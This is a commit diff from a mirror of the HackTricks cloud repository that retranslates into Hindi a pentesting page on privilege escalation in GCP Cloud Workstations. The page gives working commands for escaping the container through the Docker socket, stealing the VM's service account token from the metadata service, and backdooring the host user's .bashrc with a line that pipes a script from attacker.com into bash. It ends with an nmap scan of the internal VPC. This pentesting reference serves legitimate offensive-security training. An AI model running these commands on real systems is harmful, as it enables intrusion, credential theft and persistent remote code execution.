mirror of
https://github.com/HackTricks-wiki/hacktricks-cloud.git
synced 2026-03-12 21:22:57 -07:00
Translated ['', 'src/pentesting-cloud/gcp-security/gcp-privilege-escalat
This commit is contained in:
@@ -1,22 +1,23 @@
|
||||
# GCP - Cloud Workstations Privesc
|
||||
|
||||
{{#include ../../../banners/hacktricks-training.md}}
|
||||
|
||||
### Container Breakout via Docker Socket (Container -> VM -> Project)
|
||||
|
||||
Cloud Workstations में प्राथमिक privilege escalation पथ developers के लिए **Docker-in-Docker (DinD)** वर्कफ़्लो को सपोर्ट करने की आवश्यकता से उत्पन्न होता है। जब workstation configuration Docker socket को mount करता है या privileged containers की अनुमति देता है (एक सामान्य कॉन्फ़िगरेशन), तो workstation container के अंदर मौजूद एक attacker underlying Compute Engine VM तक फरार होकर उसके service account token को चुरा सकता है।
|
||||
Cloud Workstations में प्राथमिक privilege escalation पाथ developers के लिए **Docker-in-Docker (DinD)** workflows को सपोर्ट करने की आवश्यकता से उत्पन्न होता है। जब workstation कॉन्फ़िगरेशन Docker socket को mount करता है या privileged containers की अनुमति देता है (एक सामान्य कॉन्फ़िगरेशन), तो workstation container के अंदर एक attacker underlying Compute Engine VM से बाहर निकल सकता है और उसके service account token को चोरी कर सकता है।
|
||||
|
||||
**Prerequisites:**
|
||||
- Cloud Workstation टर्मिनल तक पहुँच (SSH के माध्यम से, compromised session, या चोरी किए गए credentials)
|
||||
- workstation configuration को `/var/run/docker.sock` mount करना चाहिए या privileged containers सक्षम होने चाहिए
|
||||
- Cloud Workstation terminal तक पहुँच (via SSH, compromised session, or stolen credentials)
|
||||
- workstation कॉन्फ़िगरेशन को /var/run/docker.sock mount करना चाहिए या privileged containers सक्षम होने चाहिए
|
||||
|
||||
**Architecture context:** workstation एक container (Layer 3) है जो Docker/Containerd runtime (Layer 2) पर चल रहा है और वह एक GCE VM (Layer 1) पर होस्ट किया गया है। Docker socket होस्ट के container runtime तक सीधा एक्सेस देता है।
|
||||
**Architecture context:** workstation एक container (Layer 3) है जो Docker/Containerd runtime (Layer 2) पर एक GCE VM (Layer 1) पर चल रहा होता है। Docker socket host के container runtime तक सीधे पहुँच देता है।
|
||||
|
||||
> [!NOTE]
|
||||
> The tool [gcp-workstations-containerEscapeScript](https://github.com/AI-redteam/gcp-workstations-containerEscapeScript) पूर्ण container escape को स्वचालित करता है और आपको host VM पर एक root shell में डाल देता है।
|
||||
> The tool [gcp-workstations-containerEscapeScript](https://github.com/AI-redteam/gcp-workstations-containerEscapeScript) पूरा container escape automate करता है और आपको host VM पर root shell में भेज देता है।
|
||||
|
||||
<details>
|
||||
|
||||
<summary>Step 1: Docker socket की जाँच करें</summary>
|
||||
<summary>कदम 1: Docker socket की जाँच करें</summary>
|
||||
```bash
|
||||
# Verify the Docker socket is available
|
||||
ls -l /var/run/docker.sock
|
||||
@@ -26,9 +27,11 @@ ls -l /var/run/docker.sock
|
||||
|
||||
<details>
|
||||
|
||||
<summary>चरण 2: Escape to the host VM filesystem</summary>
|
||||
<summary>चरण 2: होस्ट VM फाइलसिस्टम से बाहर निकलना</summary>
|
||||
|
||||
हम एक privileged container लॉन्च करते हैं, होस्ट की रूट डायरेक्टरी को `/mnt/host` पर माउंट करते हुए। हम होस्ट का नेटवर्क और PID namespace भी शेयर करते हैं ताकि दृश्यता अधिकतम हो सके।
|
||||
हम एक विशेषाधिकार प्राप्त कंटेनर लॉन्च करते हैं, होस्ट की रूट डायरेक्टरी को `/mnt/host` पर माउंट करते हुए। हम होस्ट का नेटवर्क और PID नामस्थान भी साझा करते हैं ताकि दृश्यता अधिकतम हो सके।
|
||||
|
||||
</details>
|
||||
```bash
|
||||
# Spawn a privileged container mounting the host's root filesystem
|
||||
docker run -it --rm --privileged --net=host --pid=host \
|
||||
@@ -38,13 +41,13 @@ alpine sh
|
||||
# Inside the new container, chroot into the host
|
||||
chroot /mnt/host /bin/bash
|
||||
```
|
||||
अब आपके पास **root shell on the underlying Compute Engine VM** (Layer 1) है।
|
||||
अब आपके पास **root shell on the underlying Compute Engine VM** (Layer 1).
|
||||
|
||||
</details>
|
||||
|
||||
<details>
|
||||
|
||||
<summary>चरण 3: Steal the VM service account token from IMDS</summary>
|
||||
<summary>चरण 3: IMDS से VM service account token चुराएं</summary>
|
||||
```bash
|
||||
# From the host VM, query the Instance Metadata Service
|
||||
curl -s -H "Metadata-Flavor: Google" \
|
||||
@@ -62,15 +65,15 @@ http://169.254.169.254/computeMetadata/v1/instance/service-accounts/default/scop
|
||||
|
||||
> [!CAUTION]
|
||||
> **स्कोप्स की जाँच करें!**
|
||||
> यहाँ तक कि अगर जुड़ा हुआ Service Account **Editor** है, तब भी VM access scopes द्वारा प्रतिबंधित हो सकता है.
|
||||
> यदि आप `https://www.googleapis.com/auth/cloud-platform` देखते हैं, तो आपके पास पूर्ण पहुँच है.
|
||||
> यदि आप केवल `logging.write` और `monitoring.write` देखते हैं, तो आप नीचे दिए गए **Network Pivot** और **Persistence** vectors तक सीमित हैं.
|
||||
> भले ही संलग्न Service Account **Editor** हो, VM access scopes द्वारा प्रतिबंधित हो सकता है।
|
||||
> यदि आप `https://www.googleapis.com/auth/cloud-platform` देखते हैं, तो आपके पास पूर्ण पहुंच है।
|
||||
> यदि आप केवल `logging.write` और `monitoring.write` देखते हैं, तो आप नीचे दिए गए **Network Pivot** और **Persistence** vectors तक सीमित हैं।
|
||||
|
||||
<details>
|
||||
|
||||
<summary>Step 4: Achieve Persistence (Backdoor the User)</summary>
|
||||
|
||||
Cloud Workstations `/home/user` पर एक persistent disk mount करते हैं। क्योंकि container user (आमतौर पर `user`, UID 1000) host user (UID 1000) से मेल खाता है, आप host के home directory में लिख सकते हैं। इससे आप environment को backdoor कर सकते हैं, भले ही workstation container को rebuilt किया जाए।
|
||||
Cloud Workstations `/home/user` पर एक persistent disk माउंट करते हैं। चूंकि container user (usually `user`, UID 1000) host user (UID 1000) के साथ मेल खाता है, आप host की home directory में लिख सकते हैं। इससे आप environment में backdoor डाल सकते हैं भले ही workstation container पुनर्निर्मित हो।
|
||||
```bash
|
||||
# Check if you can write to the host's persistent home
|
||||
ls -la /mnt/host/home/user/
|
||||
@@ -83,9 +86,9 @@ echo "curl http://attacker.com/shell | bash" >> /mnt/host/home/user/.bashrc
|
||||
|
||||
<details>
|
||||
|
||||
<summary>Step 5: Network Pivot (Internal VPC Access)</summary>
|
||||
<summary>चरण 5: Network Pivot (Internal VPC Access)</summary>
|
||||
|
||||
चूंकि आप host network namespace (`--net=host`) साझा करते हैं, आप अब VPC पर एक trusted node हैं। आप उन internal services को scan कर सकते हैं जो IP whitelisting के आधार पर access की अनुमति देती हैं।
|
||||
चूँकि आप host network namespace (`--net=host`) साझा कर रहे हैं, आप अब VPC पर एक trusted node हैं। आप उन आंतरिक सेवाओं को scan कर सकते हैं जो IP whitelisting के आधार पर access देती हैं।
|
||||
```bash
|
||||
# Install scanning tools on the host (if internet access allows)
|
||||
apk add nmap
|
||||
@@ -94,3 +97,7 @@ apk add nmap
|
||||
nmap -sS -p 80,443,22 10.0.0.0/8
|
||||
```
|
||||
</details>
|
||||
|
||||
|
||||
|
||||
{{#include ../../../banners/hacktricks-training.md}}
|
||||
|
||||
Reference in New Issue
Block a user